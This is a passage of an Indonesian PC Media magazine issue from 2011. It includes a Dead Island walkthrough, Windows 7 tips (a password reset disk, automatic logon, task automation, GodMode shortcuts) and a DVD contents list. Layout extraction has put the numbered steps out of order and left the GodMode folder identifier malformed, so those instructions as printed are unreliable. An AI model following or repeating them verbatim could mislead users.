karakter akan memiliki tiga cabang skill, yakni Fury, Combat, dan Survival. Ketiga mode ini memiliki beberapa turunan yang tersusun bertingkat. Untuk mencapai skill pamungkas, Anda praktis harus membenamkan poin ke skill-skill sebelumnya. Fury adalah mode/skill yang membuat karakter Anda menjadi sangat powerful dalam tempo tertentu. Mode/ skill ini hanya bisa dieksekusi saat Rage meter Anda penuh. Rage meter akan terisi setiap kali Anda membunuh zombie. Setiap karakter memiliki Fury yang berbeda, merujuk ke jenis senjata tertentu yang menjadi spesialisasinya. Ketika berada dalam mode Fury, karakter Anda dapat membunuh musuh secara instan. Namun, perlu diingat bahwa sang karakter tetap akan terluka jika terkena serangan musuh/zombie. Mengingat sifatnya yang temporer, sangat disarankan untuk menggunakannya hanya saat Anda terdesak atau ketika situasi memang tak menguntungkan seperti saat NPC yang harus Anda

140

134_game_12 edit nur.indd 140

lindungi terkepung zombie. Combat secara umum adalah skill yang akan meningkatkan efektivitas penggunaan senjata, baik primer maupun sekunder. Pada beberapa karakter tertentu, hal ini sangat berguna mengingat beberapa senjata akan lebih mudah dijumpai dibandingkan lainnya dan sebaliknya, senjata yang jarang dijumpai umumnya lebih powerful. Apa pun senjata andalan karakter Anda, kemampuan menguasai senjata sekunder lainnya adalah keuntungan tersendiri dalam menghadapi musuhmusuh tertentu. Survival sesuai namanya akan meningkatkan efektivitas Anda untuk bertahan hidup dalam menghadapi kepungan zombie. Survival di sini meliputi skill yang membuat senjata Anda tak cepat rusak, memperbaiki senjata, meningkatkan stamina, hingga mempercepat regenerasi health. Skill didesain sedemikian rupa di mana Anda harus membenamkan tiga poin ke setiap skill untuk membuka

skill selanjutnya. Tidak semua skill memiliki efektivitas yang sama. Jadi, sebaiknya hindari atau minimalkan poin yang Anda benamkan pada skill yang tidak efektif dan fokus pada skill yang lebih berguna.

III. Musuh Dead Island berkisah tentang wabah zombie, maka musuh yang harus Anda hadapi pastilah zombie. Asumsi tersebut ternyata tak sepenuhnya benar. Ada misi di mana Anda justru harus menghadapi manusia hidup. Musuh berwujud manusia umumnya lebih berbahaya karena mereka menggunakan senjata api, seperti pistol, shotgun, atau riffle. Sisi baiknya, Anda bisa mengambil senjata api tersebut untuk Anda manfaatkan. Meskipun demikian, zombie tetap musuh utama dalam game ini. Seperti game sejenis, para zombie ini terbagi dalam beberapa tipe berikut ini.

A. WALKER Zombie jenis ini adalah yang pertama 12/2011

11/7/2011 2:11:46 PM

RPG GAME WALKTHROUGH

kali Anda hadapi pada awal-awal permainan. Mereka mampu bergerak cepat dan beberapa di antaranya bahkan ada yang membawa senjata. Namun, mereka tidaklah terlalu berbahaya, kecuali jika berkelompok dalam jumlah cukup banyak. Beberapa pukulan cukup untuk menghabisi mereka, apalagi bila Anda menggunakan senjata yang telah dimodifikasi. Cara terbaik untuk menghadapi mereka adalah menendangnya. Begitu mereka jatuh, pukuli mereka atau injak dan tendang. Jika mereka berhasil menangkap dan berusaha menggigit, game akan masuk ke mode Quick Time Event di mana Anda harus menekan tombol kanan atau kiri mouse untuk melepaskan diri dari mereka.

cepat dan ia cenderung tidak akan mengejar jika Anda telah berada cukup jauh darinya. Namun, mengingat biasanya para Thug menjaga sesuatu atau area tertentu, praktis Anda akan sulit menghindarinya begitu saja. Bertempur frontal dari jarak dekat sangat tidak dianjurkan. Jika terpaksa, serang dia dari arah belakang. Namun, cara terbaik adalah menyerangnya dari kejauhan. Gunakan benda apa pun yang bisa dilempar. Jika ada flammable barrel di sekitar situ, lemparkan ke arahnya atau tempatkan flammable barrel di lokasi yang akan dilewatinya dan lemparkan senjata yang Anda punya ke arah barrel tersebut untuk meledakkannya. Jika Anda memiliki pistol atau senjata api lainnya, gunakan itu.

B. INFECTED Infected adalah versi lebih advanced dari Walker. Mereka lebih kuat, lebih berbahaya, dan mampu bergerak lebih cepat. Beruntung para Infected ini biasanya selalu berteriak sebelum menye rang sehingga Anda bisa meng antisipasinya. Seperti Walker, Infected akan sangat berbahaya jika berkelompok, baik dengan sesamanya maupun walker. Trik menghadapinya juga hampir sama, yakni tendang saat mereka lari menyerbu Anda dan segera habisi saat mereka terjatuh.

C. THUG Tipe zombie ketiga adalah Thug. Zombie ini bertubuh kekar dan sangat kuat. Serangannya sanggup menjatuhkan dan membunuh Anda dengan cepat. Beruntung Thug tak mampu bergerak

D. SUICIDER Sesuai namanya, Suicider adalah jenis zombie yang akan meledakkan diri apabila Anda berada di dekatnya. Efek ledakannya tak hanya melukai Anda, tetapi juga zombie lainnya. Untuk menghadapi zombie tipe ini, usahakan untuk selalu mengambil jarak cukup jauh darinya. Pistol atau senjata api lainnya adalah senjata terbaik untuk menghadapi Suicider. Akan lebih baik lagi jika Anda dapat meledakkannya saat ia masih berada dalam kelompok bersama zombie lainnya. Perlu diingat bahwa saat tewas, ia juga akan meledak.

134_game_12 edit nur.indd 141

F. FLOATER Floater adalah sejenis zombie bertubuh besar dan tertutup semacam cairan. Ia menyerang dengan memuntahkan sesuatu ke arah Anda. Muntahannya tak hanya mengurangi health Anda, tetapi juga penglihatan. Cara menghadapinya adalah memutarinya dan menyerangnya dari arah belakang. Dalam beberapa kasus, Floater mengambang di kolam. Jika itu yang Anda temui, segera habisi mereka sebelum mereka sempat terbangun.

G. BUTCHER Butcher adalah zombie yang sangat berbahaya. Ia berwujud kerangka tanpa tangan. Butcher mampu bergerak sangat cepat dan serangannya berbahaya. Ia mampu membunuh Anda dengan cepat. Apabila Anda memiliki senjata api, inilah saat yang tepat untuk menggunakannya

E. THE RAM

IV. Pertarungan

Ram adalah zombie berwujud besar dan mengenakan jaket. Ram menyerang

Satu hal yang membedakan Dead Island dengan game sejenis adalah pada mode

Untuk membuat senjata, Anda butuh senjata standar sebagai basis dan beberapa item miscellaneous.

12/2011

dengan menyerbu dan menabrakkan diri. Serangannya menghasilkan damage yang cukup tinggi bagi Anda. Ram mampu mengubah arah saat ia menyerbu dan dapat menendang apabila Anda berada terlalu dekat dengannya. Cara untuk menghadapinya adalah menjaga jarak, hindari serangannya dengan meloncat ke samping lalu sempatkan untuk memukul dia beberapa kali. Ulangi langkah ini hingga ia tak berkutik.

Sempatkan untuk menjarah uang di kantong para zombie.

141

11/7/2011 2:11:46 PM

GAME WALKTHROUGH RPG

Thug bergerak lambat, tempatkan flammable barrel di jalur jalannya lalu ledakkan.

Senjata yang rusak masih bisa diperbaiki di workbench.

Selesaikan quest Lazarus Rising agar Anda bisa memanfaatkan mobil Hank.

Saat zombie menangkap Anda, tekan tombol kanan atau kiri mouse untuk melepaskannya.

Combat atau pertarungannya. Meski menggunakan mode First Person View dan terdapat senjata api, Dead Island lebih fokus pada melee attack. Pengecualian hanya pada karakter Purna yang memiliki spesialisasi pada senjata api. Meskipun demikian, dalam kondisi tertentu, Purna tetap dipaksa untuk bertarung dalam jarak dekat dengan melee weapon. Terkait dengan pertarungan, ada beberapa komponen yang wajib dicermati agar karakter Anda tetap bertahan hidup.

A. STAMINA Semua pertarungan jarak dekat, baik dengan tangan kosong, senjata tumpul, maupun senjata tajam, akan mengonsumsi stamina. Begitu pula dengan menendang, berlari, dan meloncat. Semuanya menyita stamina. Pengecualian hanya pada menembak dan melempar (senjata). Kehabisan stamina di tengah kepungan musuh sangat fatal

142

134_game_12 edit nur.indd 142

akibatnya. Tanpa stamina, serangan Anda akan menjadi sangat lambat dan Anda pun tak dapat berlari. Oleh karena itu, penting untuk selalu memperhatikan stamina bar karakter Anda. Jika menyusut, minumlah energy drink yang banyak tersebar di pulau.

B. DURABILITY Durability yang dimaksud di sini adalah durability senjata. Semua senjata, baik tajam maupun tumpul, akan aus setiap kali digunakan. Meski setiap senjata mungkin memiliki durability yang berbeda, dalam Dead Island, keausan dan kerusakan senjata sangat cepat terjadi. Sangat disarankan untuk membawa lebih dari satu senjata setiap saat. Buanglah senjata yang rusak dan ambil senjata baru yang Anda temukan di lingkungan permainan. Hampir segala benda di Dead Island bisa dijadikan senjata, mulai sebatang tongkat, dayung, pipa, hingga lainnya.

Hal ini setidaknya mampu menghapus sedikit kekhawatiran bahwa Anda tak bersenjata ketika menghadapi para zombie. Hal lain yang perlu diingat adalah bahwa untuk mengganti senjata yang ada di inventory, tombol yang digunakan secara default adalah tombol tengah mouse. Dalam banyak kasus, tombol ini kurang responsif sehingga sebaiknya atur dan ubah konfigurasi control game, khususnya tombol tengah mouse ini.

C. TENDANGAN Untuk mencegah agar senjata Anda tak mudah aus dan rusak, salah satu cara efektifnya adalah memanfaatkan seoptimal mungkin tendangan (tombol E). Tendang musuh yang mencoba mendekat atau berlari menyerbu dengan menendangnya. Jika terkena cukup telak, musuh akan jatuh dan itulah saat yang tepat untuk mengeksekusinya. Tendanglah musuh yang 12/2011

11/7/2011 2:11:50 PM

RPG GAME WALKTHROUGH

terjatuh. Menendang musuh saat ia terjatuh di tanah tidak mengonsumsi stamina sehingga Anda punya cukup stamina untuk mengantisipasi musuh lain yang datang. Tendangan di luar dugaan juga sangat efektif untuk menghadapi zombie bertipe Walker maupun Infected. Anda juga bisa menginjak musuh yang terjatuh (stomp). Jika Anda dapat menginjak kepalanya, musuh hampir pasti akan “tewas”.

V. Item dan Senjata Ada berbagai jenis item dan senjata dalam Dead Island. Hampir semua senjata butuh maintenance atau perbaikan. Pengecualian hanya untuk senjata api, seperti pistol dan shotgun. Senjata api tidak akan aus atau rusak setelah digunakan, tetapi ia butuh amunisi. Sialnya, amunisi termasuk item yang cukup langka didapat di Dead Island. Akibatnya, dari waktu ke waktu, Anda kerap dipaksa untuk bertarung dalam jarak dekat sekadar untuk menghemat amunisi. Beruntung senjata yang aus atau rusak masih bisa diperbaiki di workbench. Workbench terdapat di beberapa lokasi. Workbench bisa dimanfaatkan untuk memperbaiki, memodifikasi, hingga membuat senjata baru dengan mengombinasikan base item dengan item khusus. Untuk membuat dan meng-upgrade senjata, Anda harus memiliki “resep”-nya. Resep bisa didapat di beberapa lokasi atau setelah menamatkan quest tertentu (cek tabel). Item untuk membuat atau memodifikasi senjata sering berupa item remeh-temeh. Akan tetapi, jangan coba membuang item seperti itu dari dalam inventory. Anda tak bisa menebak kapan Anda mungkin membutuhkannya. Sangat disarankan untuk menjelajah lingkungan permainan dan mengambil semua miscellabeous item yang Anda temukan. Jarah juga setiap zombie yang tewas. Setidaknya, hal itu akan berpengaruh pada arus kas Anda. Beberapa item tertentu seperti kerangka (skull) berwarna-warni akan membuka opsi upgrade senjata versi developer. Jadi, jika Anda menemukannya, ambillah. Benda itu bisa sangat berguna. 12/2011

134_game_12 edit nur.indd 143

DAFTAR WEAPON MOD No. 1 2 3 4 5 6 7

Nama Mod Barbed Wire Deathstalker Detox Gun Detox Rifle Detox Shotgun Deo Bomb Glazed

8 9 10 11 12

Heavy High Voltage Impact Lightning Magic Wand

13 14

Meat Bait Molotov

15 16 17 18 19 20 21

Nail D’Mod Nuts & Bolts Old Smoky Paralyzing Spike Phoenix Piranha Pistol Ammo

22 23 24 25 26

Pride Gun Pride Riffle Pride Shotgun Razor Riffle Ammo

27

Ripper

28 29 30 31

Saw Disk Axe Shark Shock Shock Gun

32 33 34 35 36 37 38 39 40 41 42 43

Shock Riffle Short Circuit Shotgun Ammo Sticky Bomb Striker Gun Striker Riffle Striker Shotgun Tesla Torch Toxic Venom Weighted

Lokasi/Cara Menemukan Dekat Workbench di Supermarket Moresby Selesaikan quest Substance of Matter Selesaikan quest Insect Repellent Selesaikan quest Show Must Go On Dasar tangga rusak di bangunan yang jatuh ke jurang di quest Where is My Pinneaple Selesaikan quest Tell Me Where is Hurt Di tempat tidur rumah Alicia Jacobs (quest Uninvited Guest) Selesaikan quest Two Hearts Side Pom bensin di Moresby Selesaikan quest Last Chance On the Wall Selesaikan quest Heroes & Villains Di kantor walikota setelah balik kembali dari Sewer ke City Hall Selesaikan quest Drop by Drop Di Royal Palm Resort Hotel Building, dekat lokasi Thug Selesaikan Prologue Selesaikan quest Toy Story Selesaikan quest Spy Game Selesaikan quest Picture of Bliss Act III, dekat boat setelah membereskan Avram Selesaikan quest The Third Head of Cerberus Dalam kantor polisi, dekat workbench yang dijaga Thug Selesaikan quest Matter of Justice Persembunyian Mugger di hutan Dalam kereta kayu di halaman City Hall Di Bunker di hutan (Act III) Selesaikan quest Little Prince

Di atas tempat tidur, di tempat persembunyian Sinamoi (Prologue) Selesaikan quest Second Aid Selesaikan quest Death Wish Selesaikan quest Black Hawk Down Dekat workbench di sewer Moresby setelah menyelamatkan Joseph Selesaikan quest Power Slave Selesaikan quest Judgement Day Di Record Room kantor polisi Selesaikan quest Drowned Hope Di belakang supermarket, di atas kotak Dalam Armory di penjara Beri Sam Medium Medkit di bunker di hutan Ruang Generator di Laboratory (Act III) Selesaikan quest Counsel of Despair Di Gereja dalam Act III Dekat workbench di sewer Moresby Di Bunker 06

143

11/7/2011 2:12:02 PM

SPECIAL Step by Step

STEP BY STEP Membuat Disk untuk Reset Password Windows 7 Apabila pernah lupa akan password untuk log on ke Windows 7, tentu Anda tahu seperti apa rasanya. Insiden menyebalkan ini sangat mungkin terjadi, terutama jika Anda memiliki password yang berbeda-beda untuk beberapa account. Untuk menghindari hal tersebut, Anda bisa membuat disk untuk me-reset password Windows 7. Berikut langkah-langkahnya.

Seharusnya, link tersebut akan muncul di bawah kolom password setelah Anda gagal log on.

3 Klik Next saat wizard Password Reset muncul.

2 Tikkan “reset” di kolom Search Windows dan pilih Create a password reset disk.

3 Saat wizard Forgotten Password muncul, klik

.

langkah-langkah ini berhasil, Anda akan melihat jendela konfirmasi dengan tulisan “You’ve successfully reset the password for this user account”. Sekarang, jangan khawatir lagi jika suatu saat Anda lupa akan password log on Windows 7. Perlu diingat bahwa disk reset password ini hanya berlaku untuk account lokal (tidak berfungsi untuk account domain). Selain itu, jika telah menggunakannya, Anda masih bisa menggunakan disk yang sama pada lain waktu tanpa perlu meng-update-nya.

Log on ke Windows 7 Logsecara on ke Otomatis Windows 7 Secara Otomatis

Langkah-Langkah Menggunakan Disk Reset Password 1 Sewaktu-waktu ketika Anda gagal log

on karena salah memasukkan password, masukkan disk reset password dan restart komputer.

2 Saat layar Windows 7 Welcome Screen muncul, klik link berlabel Reset password. 144

SBS_12 edit nur_fadly.indd 144

2 Hilangkan tanda centang pada kotak yang ada di sebelah Users must enter a username and password to use this computer dan . klik

5 Tikkan password baru Anda, password hint-nya kemudian klik Next.

4 Pilih USB flash drive yang tadi Anda masukkan dan klik Next.

5 Setelah wizard selesai membuat disk reset, . klik Next dan

WINDOWS

4 Pilih drive di mana disk reset password berada.

6 Jika

1 Masukkan USB flash drive (atau floppy disk jika Anda masih menggunakannya) ke komputer.

Tip dan Trik Unik

Layar log on Windows 7 bukan hanya pemanis, tetapi juga fitur keamanan yang dapat mencegah akses ilegal ke komputer Anda. Namun, sebagian orang lebih menginginkan kenyamanan ketimbang keamanan. Jika Anda tidak mementingkan keamanan dan lebih memilih agar komputer bisa boot langsung ke desktop, berikut langkah-langkahnya.

1 Cari “netplwiz” di kolom Search Windows dan tekan tombol Enter.

3 Masukkan nama pengguna yang ingin agar account-nya bisa log on secara otomatis berikut . password-nya kemudian klik

Nantinya, begitu Anda menyalakan komputer, Windows 7 akan boot langsung ke desktop secara otomatis. Di samping lebih nyaman, cara ini juga ampuh untuk memangkas waktu log on. Perlu diingat, semua orang kini dapat mengakses komputer Anda, mengotak-atik sistemnya, bahkan menyusup ke account Facebook Anda dan menulis status yang aneh-aneh. Berhati-hatilah.

Membuat Program dandan Membuat Program Proses Windows menjadi Proses Windows Otomatis Menjadi Otomatis Ada kalanya kita punya pola berulang ketika bekerja—atau bermain—dengan komputer. Misalnya, Anda memiliki kebiasaan menyalakan media player seusai menutup klien BitTorrent. Atau mungkin, Anda selalu mematikan komputer setelah mengetikkan tulisan yang panjang di Word. Tentu akan lebih nyaman jika Anda bisa membuat repetisi itu menjadi otomatis. Untuk keperluan tersebut, pengguna Windows bisa menggunakan aplikasi When Then. Berikut langkah-langkahnya.

1 Jalankan When Then yang kami sertakan 12/2011

11/2/2011 11:21:44 AM

Step by Step SPECIAL

di dalam DVD dan pastikan Anda juga sudah menginstal Microsoft .NET Framework 2.0.

2 Saat menjalankannya, Anda akan mendapat peringatan kalau versi beta ini masih “woefully incomplete” alias belum stabil. Namun, dalam pengujian yang kami lakukan, fungsi utamanya berjalan dengan baik. Klik link [this event occurs] untuk menampilkan beberapa opsi yang dapat memicu event.

Cukup mudah, bukan? Ringkas, sederhana, tetapi fungsional. Selamat mencoba.

Membuat Shortcut untuk Membuat Shortcut untuk Setting Windows Setting Windows 7 7 Alih-alih membuka Control Panel Windows 7 untuk mengakses setting yang sering Anda gunakan, kenapa tidak memanfaatkan shortcut saja? Anda dapat membuat dua jenis shortcut, secara grafis atau menggunakan kombinasi keyboard. Berikut langkah-langkahnya.

Shortcut Kategori 3 Pada jendela yang muncul, Anda dapat memilih jendela yang terbuka, sebuah proses, atau waktu. Kami memilih proses googletalk. exe dan Event Wait for it to: Exit sebagai pemicu.

3 Klik kanan task atau setting yang Anda kehendaki, misalnya Defragment your hard drive kemudian pilih Create Shortcut. Shortcut nantinya akan muncul di desktop. Atau, tarik saja task atau setting tersebut ke desktop.

Shortcut kategori memungkinkan Anda untuk mengakses kategori atau subkategori dari Control Panel dengan cepat.

1 Buka Start menu, klik Control Panel Windows.

4 Agar lebih mudah diakses, Anda juga dapat mem-pin shortcut tersebut di Start menu. Caranya, tarik shortcut ke icon Start menu. Shortcut Keyboard Jika ingin cara yang lebih cepat, Anda dapat membuat shortcut keyboard dari shortcut icon yang telah Anda buat.

2 Arahkan kursor mouse ke bagian teks dari kategori yang dikehendaki, misalnya Sound kemudian tarik ke desktop. 4 Klik link kedua di jendela utama setelah kata “When” untuk menampilkan opsi untuk aksi yang akan dipicu oleh event. Kami memutuskan untuk memilih kategori Windows Session > Shutdown, hal yang kami lakukan begitu jam kantor sudah usai. Jangan lupa, beri tanda centang pada kotak Force.

1 Klik kanan shortcut icon yang dikehendaki kemudian klik Properties. 2 Di kolom Shortcut key:, tikkan kombinasi tombol untuk digunakan sebagai shortcut keyboard (kombinasi awalnya secara default adalah Ctrl+Alt. Anda tinggal menekan tombol selanjutnya), misalnya Ctrl+Alt+1.

Shortcut Task dan Konfigurasi Shortcut jenis ini memungkinkan akses langsung ke task spesifik, misalnya Show hidden files and folders.

5 Setelah mengeklik Okay dan kembali ke layar utama, beri tanda centang kotak Enable.

1 Sebelumnya, Anda perlu masuk ke GodMode Windows 7. Bagi Anda yang lupa caranya, kami akan mengingatkannya dengan senang hati. Buat sebuah folder baru di mana saja, misalnya desktop, dan ganti namanya menjadi “GodMode.{ED7BA4708E54-465E-825C99712043E01C}”. 2 Klik icon GodMode yang menyerupai Control Panel tersebut.

12/2011

SBS_12 edit nur_fadly.indd 145

Nantinya, Anda bisa membuka Sound atau setting Windows 7 lainnya hanya dengan mengeklik icon-nya atau menekan dua tombol keyboard.

145

11/2/2011 11:21:48 AM

PC Media Extra 04 Memilih Removal Virus Terbaik dengan Cara Jitu dan Mudah

INFOLINUX EXTRA Menjadikan Ubuntu Desktop sebagai Basis Server Rumahan

PCMEDIA EXTRA Menguasai fitur-fitur baru Photoshop plus tutorial seru.

PCMEDIA SPECIAL Kumpulan Trik dan Tutorial Unik Untuk Fotografer

INFO LINUX EXTRA GIMP: Free Photoshop Alternatve For Photo And Image Editor

PCMEDIA SPECIAL Essential Guide Blackberry

MAJALAH

EXTRA SPECIAL

I AP K G LE N LE KSI KO A!

AN

D

PCMEDIA GROUP PC MILD EXTRA Corel Draw: Seni Mendesain Vector Artistik

Belajar asyik teknologi melalui beragam tutorial konkret plus software di CD/DVD.

Untuk pemesanan langsung hubungi: Sirkulasi Pinpoint Publications (DPKU) Telp: (021) 4682-6816, 7079-6499. Fax: (021) 4682-8919 [emailprotected]

FILLER SPECIAL EXTRA.indd 1

8/5/2011 11:02:02 AM

Introduction ON THE DISC

PERCANTIK RUMAH UNTUK TAHUN BARU Gunakan aplikasi PC untuk merencanakan rumah idaman. Fadly Yanuar Iriansyah

Tanpa terasa, kita sudah memasuki bulan terakhir tahun 2011. Apabila Anda berencana menyambut tahun naga air dengan rumah baru atau sekadar merenovasi ruangan-ruangan tertentu agar lebih sempurna, kami telah menyiapkan aplikasi-aplikasi home design yang dapat membantu Anda. Seperti biasa, pada bagian “Fresh Softwares Full Version”, kami telah menyiapkan 36 aplikasi free yang menarik dan fungsional. Salah satunya adalah iPadian, yang dapat mengubah tampilan desktop Windows Anda menjadi seperti iPad.

ALNO Kitchen 0.96b

FREE FOR PERSONAL

Memiliki dapur yang indah adalah impian semua orang. Anda bisa mewujudkan impian tersebut dengan menggunakan aplikasi virtual kitchen buatan ALNO ini. Ukuran ruangan dapur bisa diatur antara 180 hingga 900 cm (panjang atau lebar). Nantinya, Anda bisa menempatkan berbagai elemen dapur dalam ruang tersebut. Dengan tampilan 3D, Anda bisa merencanakan tata letak dapur serta menyesuaikan warna lantai dan dindingnya sesuka hati.

KIRIM TANPA PRANGKO KIRIMAN BALASAN IZIN NO : 66/KIRBAL/JKP/WILPOS IV/2011 Berlaku s/d Desember 2011

Kepada: Kepala Kantor Pos I Jakarta Pusat 10000 u.p. Bagian Pemasaran Untuk diserahkan kepada: Majalah PC Media Gedung Warta Lt. 4 Jl. Kramat IV No. 11 Jakarta Pusat-10430 Telp. (021) 315-3731 Fax. (021) 315-3732

Ada pula Free File Camouflage, aplikasi unik yang dapat menyembunyikan file rahasia ke dalam file gambar. Buat Anda yang ingin tahu bagaimana rasanya menjalankan app Android di PC, coba gunakan BlueStack. Jangan lupa juga untuk mengecek versi terbaru dari software-software fungsional yang populer di bagian “Toolkit”. Selain versi terbaru PCMAV 6.2, Anda juga bisa meng-update antivirus AVG, Avira, serta ClamWin agar PC Anda selalu dalam kondisi prima.

Kolo Bathroom 1.0

FREE FOR PERSONAL

Berkat cara penggunaannya yang user friendly, mendesain kamar mandi menjadi mudah dengan aplikasi ini. Anda hanya perlu menentukan ukuran ruang kemudian tinggal menarik elemenelemen kamar mandi yang dibutuhkan, seperti shower dan toilet ke ruang tersebut. Nantinya, ruang kamar mandi yang Anda desain bisa dilihat dari bebagai dalam tampilan 3D freeroaming. Untuk menjalankan aplikasi ini, Anda tidak perlu melakukan proses instalasi.

Sweet Home 3D 3.3

FREE FOR PERSONAL

Jika dua aplikasi sebelumnya hanya dapat mendesain satu jenis ruang tertentu, Sweet Home 3D dapat digunakan untuk mendesain rumah secara keseluruhan. Sama seperti Kitchen Planner dan Bathroom Wizard, interface aplikasi ini cukup user friendly. Tampilan kiri layar berisi ruangan-ruangan yang ada di dalam rumah dan mengeklik setiap ruangan akan menampilkan daftar berisi furnitur yang dapat ditempatkan dalam ruangan tersebut sehinga lebih terorganisasi.

Kupon pengembalian DVD (info lebih lanjut lihat hlm. 147 “DVD Rusak”)

12/2011

147-148_utama&pengantar_12 edit nur.indd 147

147

11/9/2011 10:49:58 AM

ON THE DISC Introduction

DAFTAR LENGKAP ON THE DISC BOOTABLE DISC FreeDOS 7.10 Kernel 0.0.36 \@P33C33M4V PCMAV 6.2 PCMAV Express for Qvod \DVD Checker PCMDVDChecker \Fun\Themes\Windows 7 Android Themes Christmas Red Theme Christmas Themes Light Edition Holiday Lights Mac OS X Lion Themes Twinkle Wish \Fun\Wallpapers Cars Christmas Creative Digital Universe Games Landscapes Movies Vector \Games\Demo Valley Without Wind PES 2012 \Games\Hot Free Games Action Ball 2 Bomber Mario Brickshooter Egypt Deadly Race Hollywood, The Director’s Cut Julia’s Quest United Kingdom Milky Bear Fish Patrol Motoracing Need For Extreme 3D Pacific Liberation Force Sudden Strike Iwojima Theseus - Return of the Hero

\Games\Trailers

Assassin’s Creed Revelations Fifa Soccer 12 Max Payne 3 Need For Speed The Run Raiderz Saints Row The Third Shank 2 SkyDrift Syndicate The Lord of the Rings The War in the North Review

TeamTalk 4.2.0.1479 TeraCopy 2.2 Ticno Screenshoter 1.0.2.1 USB Protector 2.0 Volume Concierge 1.0.0.0 WinDirStat 1.1.2 WinUSB Maker 1.3 XBEESOFT Porn Cleaner 1.21

\Magazine\Know How Android GUI - ListView Menyimpan Data di Android

\Magazine\Cover Story YawCam 0.3.6

\Magazine\Step By Step WhenThen

\Magazine\Fresh Softwares Full Version 2Tware Convert Vhd 1.0 Average CPU Cycles 2.3.1.0 BlueStacks (Alpha) BUMP3R 1.0.93 Don’t Sleep 2.43 DVD slideshow GUI 0.9.4.6 FileDoggy 1.1.6 FolderMerge 0.1 Free File Camouflage 0.2c fTalk 2.0.0.1443 GTText 1.4.4 iPadian iPhotoDraw 1.0 Build 4305 LAN Messenger 1.20 Mind On Track 1.1.0.104 Miranda IM 0.9.33 NetworkTrafficView 1.10 OpenWith 0.95.0.0 Rainmeter 2.1.0 Rev 959 Right Click Enhancer 2.2.1 Rohos Mini Drive 1.9 Simple Relationship Calculator Snaps 0.3.5.0 Speak-A-Message 7.4 Stop P-O-R-N 6.5 StressMyPC 1.05 Task ForceQuit Pro 1.0.0.0 TCOne Netsend Classic Portable 1.1

\Magazine\Virus Demo Qvod \Movie\Trailers Mission- Impossible - Ghost Protocol Sherlock Holmes- A Game of Shadows Trailer The Adventures of Tintin The Darkest Hour Trailer The Sitter (2011) Tinker Tailor Soldier Spy Trailer \Patch and Update .NET Framework Version 1.1 .NET Framework Version 2.0 SP1 .NET Framework Version 3.5 SP1 .NET Framework Version 4.0 DirectX 9.0c (Jun 10) Java Runtime Environment 1.7.0.1 (32-bit) Windows 7 SP 1 (32-bit) Update

ClamWin \Toolkit\Audio and Video iTunes 10.5 (32-bit) K-Lite Codec Pack 7.90 (Full) Media Player Classic 6.4.9.1 QuickTime Player 7.71.80.42 Real Alternative 2.02 RealPlayer 14.0.7.669 VLC Media Player 1.1.11 Winamp 5.622 Full Windows Media Player 11 \Toolkit\Browsers and Plugins Adobe Air 3.2.0.1100 Beta 1 Firefox 8.0 Beta 6 Flash Player 11.2.202.18 Beta 1 (IE) Flash Player 11.2.202.18 Beta 1 (Non-IE) Google Chrome 16.0.912.15 Beta Internet Explorer 9.0 Windows 7 Opera 11.52 Safari 5.1.1 Silverlight 4.0.60831 \Toolkit\CD and DVD Tools CDBurnerXP 4.3.9.2761 DAEMON Tools Lite 4.41.3 ImgBurn 2.5.6.0 Nero BurnLite 10.0.10600 \Toolkit\Developer Tools MySQL 5.5.17 Notepad++ 5.9.6 Python 3.2.2 Virtual PC 2007 SP1 VirtualBox 4.1.4.74291 VMware Player 4.0.0

\Toolkit\Drivers\AMD AMD Catalyst Drivers 11.9 Vista AMD Catalyst Drivers 11.9P \Toolkit\Drivers\NVIDIA NVIDIA Forceware 285.58 WHQLP NVIDIA Forceware 285.62 WHQL Vista NVIDIA nForce 15.45 WHQLP NVIDIA nForce 15.49 WHQL Vista \Toolkit\Messaging and Chat Google Talk 1.0.0.104 Beta mIRC 7.22 Pidgin 2.10.0 Skype 5.5.0.124 Thunderbird 8.0 Beta 3 Yahoo! Messenger 11.0.0.2014 \Toolkit\Office and News Adobe Reader 10.1.1 Evernote 4.5.1.5432 Foxit Reader 5.1.0.1021 Kindle for PC 1.8.1 Build 36154 OpenOffice.org 3.4.0 Beta 1 PowerPoint Viewer 14.0.4754.1000 \Utama\Home Design ALNO AG Kitchen Planner 0.96b Home Theater Toolbox 1.0.020119.24 Kolo Bathroom Wizard 1.0 Sweet Home 3D 3.3 \Utama\Inventory Coollector Movie Database Frostbow Home Inventory 5 Lite 5.2.6 Household Register 2011 7.3.1

\Toolkit\Anti Virus AntiVir Personal 12.0.0.861 \Toolkit\Drivers AVG Free Edition 2012.0.1834 (32-bit) Realtek AC’97 Driver A4.06 ClamWin 0.97.3 Realtek High Definition Audio 2.66 \Utama\Utilities 2012 Countdown Vista \Toolkit\Anti Virus Update Realtek High Definition Audio 2.66P Responding Heads 4.0 Beta 3.5 AntiVir Personal AVG Free Edition : Regular & Ekonomis : Regular

INDEPENDENT DVD PENGGUNAAN DVD DVD yang disertakan dalam PC Media dapat dibuka lewat Windows Explorer. DVD-9 tersedia dalam PC Media edisi reguler, sedangkan DVD-5 dalam PC Media edisi ekonomis. Pada edisi spesial, ketentuan di atas dapat saja berubah.

PC MEDIA DVD CHECKER Khawatir DVD yang Anda dapatkan bermasalah? Cek dengan menggunakan utilty buatan PC Media. Baca terlebih dulu file readme yang terdapat dalam folder DVD CHECKER. PCMDVDChecker dapat ditemukan dalam DVD atau dapat men-download-nya di URL http://dvd.pcmedia.co.id.

DVD RUSAK PC Media tidak dapat mengganti DVD yang rusak maupun patah karena kesalahan penggunaan. Namun, jika saat membeli, Anda mendapatkan DVD rusak, hubungi PC Media atau gunting kupon pengiriman yang ada pada halaman 147. Tempelkan kupon pada bagian depan amplop cokelat yang berisi DVD rusak lalu kirimkan ke redaksi. Kupon tersebut membebaskan Anda dari biaya pengiriman. Ini merupakan wujud kepedulian PC Media agar pembaca mendapatkan penggantian yang sesuai.

STATUS PENGEMBALIAN DVD Status pengembalian DVD dapat Anda pantau melalui situs Online

148

147-148_utama&pengantar_12 edit nur.indd 148

Disc Services di http://disc.pcmedia.co.id. Batas pengembalian DVD secepatnya dua minggu setelah kami menerima DVD Anda yang rusak.

PERNYATAAN DVD Segala upaya telah dikerahkan untuk memastikan bahwa semua file yang disertakan dalam DVD ini dapat berfungsi sebagaimana mestinya. Namun, PC Media tidak bertanggung jawab atas segala bentuk kerusakan atau kerugian yang mungkin timbul dari penggunaan DVD yang disertakan dalam majalah ini.

